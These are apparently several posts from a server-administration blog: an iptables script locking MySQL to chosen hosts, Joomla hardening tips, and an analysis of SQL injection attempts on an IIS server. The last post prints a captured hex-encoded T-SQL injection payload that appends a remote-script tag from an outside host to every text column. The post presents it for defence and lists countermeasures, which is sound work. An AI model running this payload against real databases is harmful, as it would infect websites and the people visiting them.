1. SSH to the server, login as root
2. type vi myiptables-mysql
3. Insert the following commands:
   NOTE: you will need to insert the web server’s ip addresses where I placed <ip address#>. These are the ip addresses that MySQL queries will originate from.

   #!/bin/bash
   #
   # iptables example configuration script
   #
   # Flush all current rules from iptables
   #
   iptables -F
   #
   # Allow SSH connections on tcp port 22
   # This is essential when working on remote servers via SSH to prevent locking yourself out of the system
   #
   iptables -A INPUT -p tcp --dport 22 -j ACCEPT
   
   iptables -I INPUT 1 -i lo -p tcp --dport mysql -j ACCEPT
   iptables -I INPUT 2 -i lo -p udp --dport mysql -j ACCEPT
   iptables -I INPUT 3 -i eth0 -p tcp --dport mysql -s <ip address1> -j ACCEPT
   iptables -I INPUT 3 -i eth0 -p tcp --dport mysql -s <ip address2> -j ACCEPT
   
   #
   # Set default policies for INPUT, FORWARD and OUTPUT chains
   #
   iptables -P INPUT DROP
   iptables -P FORWARD DROP
   iptables -P OUTPUT ACCEPT
   #
   # Set access for localhost
   #
   iptables -A INPUT -i lo -j ACCEPT
   #
   # Accept packets belonging to established and related connections
   #
   iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
   #
   # Save settings
   #
   /sbin/service iptables save
   #
   # List rules
   #
   iptables -L -v

4. save and exit
5. Allow the file to execute by typing this command: chmod +x myiptables-mysql
6. Run the file by tying this command: ./myiptables-mysql
7. Test it and Enjoy!

Security notice: yes, for an even tighter security it is possible to change the ports.

Related Posts

• September 3, 2009 -- Quick Way to Update Fail2ban jail.conf file (0)
• August 31, 2009 -- Performance Optimized httpd.conf for Magento eCommerce (0)
• August 24, 2009 -- Howto setup iptables for www and db(mysql) on linux (0)
• August 23, 2009 -- CentOS 5.3 Install Essentials (0)
• August 3, 2009 -- Block access to your dedicated server automatically if more than 3 failed logins (0)
• March 27, 2009 -- Recommended: Visual SVN Server, now with Subversion 1.6 (1)
• December 25, 2008 -- pdnsd – Decrease DNS response time and save bandwidth (0)
• December 3, 2008 -- Securing Joomla! CMS based sites (0)
• November 30, 2008 -- CentOS for Linux Servers: a cut above (0)
• August 19, 2008 -- Hack attempt: SQL Injection Tagreting MS SQL Servers (0)

1. Set the right file and folder permissions according to the Joomla guide:

Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site –> Global Configuration –> Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server’s permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.

2. Think twice before installing an extension – do you really need it? Most security vulnerabilities come from third party extensions. Especially ones that are pre-release or ones that have not been updated lately.
3. Upgrade to the latest stable version of Joomla. The core team is hard at work for the community partly addressing security bugs and issues found. If you run a site based on an old version of Joomla – you are at risk because the security issues are well documented and available for anyone by exploring the tracker.
4. Change your admin username. Very basic security tip that is recommended for almost every server out there.
5. Avoid shared servers. Virtual hosting is great if you are not in a position to afford a VPS or a full dedicated server, but it is not secure.
6. Protect your DB. Use a user other than the root, and do not allow connections from outside the machine. Even better, block the MySQL port completely.
7. Use an SSL. Simple, when you login and submit your username and password without an SSL, the information is not encrypted between you and the server. Potentially dangerous for packet sniffing exploits or in todays world, if you decide to work from a WiFi/Hot Spot.
8. Separate your development from the production server. Avoid unclean code or left overs that may leave a back door.

9. Remove unnecessary files from the site: remove the XML RPC server part of Joomla if you are not planning on using it. This service allows desktop applications to post directly to the site. Essentially providing access via this protocol. And if you just moved the site from another server delete the zipped files, since they contain your passwords in an unencrypted form!

10. Monitor the logs for hack attempts. Who is trying to login to the administrator section when I was eating my turkey? you get the idea…

Related Posts

• December 7, 2008 -- A list of CMS and eCommerce systems that officially support jQuery (2)
• September 5, 2008 -- Joomla vs Ektron (2)
• March 25, 2009 -- Tightening up iptables for a dedicated DB server (MySQL and CentOS) (1)
• January 7, 2009 -- 2009, the year of Open Source Software (0)
• December 4, 2008 -- Can Magento and Typo3 be integrated? Yes, with TypoGento (0)
• October 29, 2008 -- Is Magento Commerce the new Joomla? (1)
• August 19, 2008 -- Hack attempt: SQL Injection Tagreting MS SQL Servers (0)
• August 19, 2008 -- 5 Missing Features Preventing Joomla! CMS from Entering the Enterprise CMS Market (3)

I noticed one of our client’s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.

Here’s the code: (I removed the SQL exec() statement and replaced it with print so you can see the unencoded SQL.)

DECLARE @S VARCHAR(4000);SET @S=CAST(0×4445434C4152452040542
05641524348415228323535292C4043205641524348415228323535292
04445434C415245205461626C655F437572736F7220435552534F52204
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D2
07379736F626A6563747320612C737973636F6C756D6E7320622057484
5524520612E69643D622E696420414E4420612E78747970653D2775272
0414E442028622E78747970653D3939204F5220622E78747970653D333
5204F5220622E78747970653D323331204F5220622E78747970653D313
63729204F50454E205461626C655F437572736F72204645544348204E4
558542046524F4D205461626C655F437572736F7220494E544F2040542
C4043205748494C4528404046455443485F5354415455533D302920424
547494E20455845432827555044415445205B272B40542B275D2053455
4205B272B40432B275D3D525452494D28434F4E5645525428564152434
841522834303030292C5B272B40432B275D29292B27273C73637269707
4207372633D687474703A2F2F7777772E393868732E72752F6A732E6A73
3E3C2F7363726970743E27272729204645544348204E4558542046524F4
D205461626C655F437572736F7220494E544F2040542C404320454E4420
434C4F5345205461626C655F437572736F72204445414C4C4F434154452
05461626C655F437572736F7220 AS VARCHAR(4000));

print @S;

This particular attack is well known and has been sighted in several variants:

http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx

http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx

Using the following web application best practices, we avoid getting hacked:

• Application level:
  • Never trust user input (e.g. querystring or form posts). Always consider that user input may contain exploit code and check it appropriately.
  • Always use Stored Procedures and/or Parameterized database queries. Don’t build SQL queries using string concatenation.
  • Use typed variables when possible. Converting a querystring parameter to an integer before passing it to a SQL query can inhibit some attacks.
• Database level:
  • Use limited database permissions. For example, for SQL Server, don’t let you application run under the “sa” user. The database user should only have permission in the particular database used by the application.
  • If possible, disable extended stored procedures such as xp_cmdshell.
  • Don’t use dynamic SQL. Dynamic SQL can be just as bad as building queries using string concatenation.
    Some DBAs have server-wide policies of no Dynamic SQL.

• Web server level:
  • If appropriate, filter requests. IIS 7 offers requestFiltering options. http://msdn.microsoft.com/en-us/library/ms689462.aspx
    For example, the maxQueryString parameter could be used to block the exploit attempt above.
  • For II6: http://technet.microsoft.com/en-us/security/cc242650.aspx
• Miscellaneous
  • Install security patches as soon as they become available.

The application level is crucial. Since a web application may someday be moved to a new server, we can’t assume that the web server and database have been configured using best practices.

All layers of security are important, though: If you’re using a third-party or closed-source web application, you may not have access to application code. In that case, the Database and Web Server layers are your last defense against exploits in improperly written code.

Related Posts

• March 25, 2009 -- Tightening up iptables for a dedicated DB server (MySQL and CentOS) (1)
• January 7, 2009 -- 2009, the year of Open Source Software (0)
• December 7, 2008 -- A list of CMS and eCommerce systems that officially support jQuery (2)
• December 3, 2008 -- Securing Joomla! CMS based sites (0)
• November 3, 2008 -- jQuery Emerges as Most Popular Javascript Library for Web Development (2)
• October 6, 2008 -- Ektron CMS400 7.0 issues with .NET Framework 3.5 SP1 (2)
• September 5, 2008 -- Joomla vs Ektron (2)
• July 30, 2008 -- Ektron: Clarification on User Controls vs API (0)